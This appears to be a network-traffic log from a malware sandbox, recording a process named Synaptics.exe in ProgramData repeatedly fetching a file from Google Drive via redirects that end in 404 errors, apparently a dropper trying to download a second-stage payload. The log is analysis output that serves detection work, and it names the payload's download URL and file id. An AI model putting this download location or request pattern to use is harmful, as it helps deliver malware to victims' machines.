2024-11-05 21:44:07 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:06 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-7-F_SKoQF6nl9lXP3GlW5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY13PwIpR7PlVS97n-WZgyPidSNKzeEUEXQ66Y_HEtpUxwbS0Laq7-MhFtV_BwbgCMeaXdYbLxEJrQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:07 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:07 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 66 6f 4e 4f 6a 2d 35 70 57 4d 5a 6f 41 47 74 58 6c 66 76 54 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="BfoNOj-5pWMZoAGtXlfvTQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:07 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49737	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:06 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:07 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:07 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-HHk_CvxxMb5GRXQW-i8voA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49739	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:06 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:07 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:06 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-wiQO7c-NJSIWFSutSDyT3w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49738	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:06 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:07 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:07 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-km63uHzmsgm5tgx5xc9V4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY1l12yu0B0obGsJ2izgoArieFObbUqOO3zIsiqtGbUFVEKIs-fnzS95XUvAQiXoSiizJ2nauajRVw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:07 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:07 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 42 79 76 59 48 49 43 49 43 5f 72 41 50 71 53 5f 73 43 45 50 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="tByvYHICIC_rAPqS_sCEPw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:07 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49743	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:08 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49742	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:08 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49744	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:08 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49745	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:08 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49749	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:09 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-qbSgABwzy_OcY2TgHp6PHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49748	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:09 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:09 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-i4t_xrzW-Nwd1FDZucJ54g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49752	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:10 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:11 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-RK5BBi5jT1mLToV666iiwQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49753	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:10 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:11 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:11 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-_ElJQXIWuSnK2SHfTc3k4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY37xH9RAikHnHqT08yJ04ts7brCx4FJTMwO87sMoD3p_DDhVmtMoF1e0ZvzKXtaCggYLr8rSh5kRQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:11 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:11 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 6e 56 7a 6f 36 58 73 45 65 4d 30 64 6e 73 47 45 37 4c 58 42 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="GnVzo6XsEeM0dnsGE7LXBQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:11 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49755	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:10 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:11 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3mAkU1WduqAVSof0Evydaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49754	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
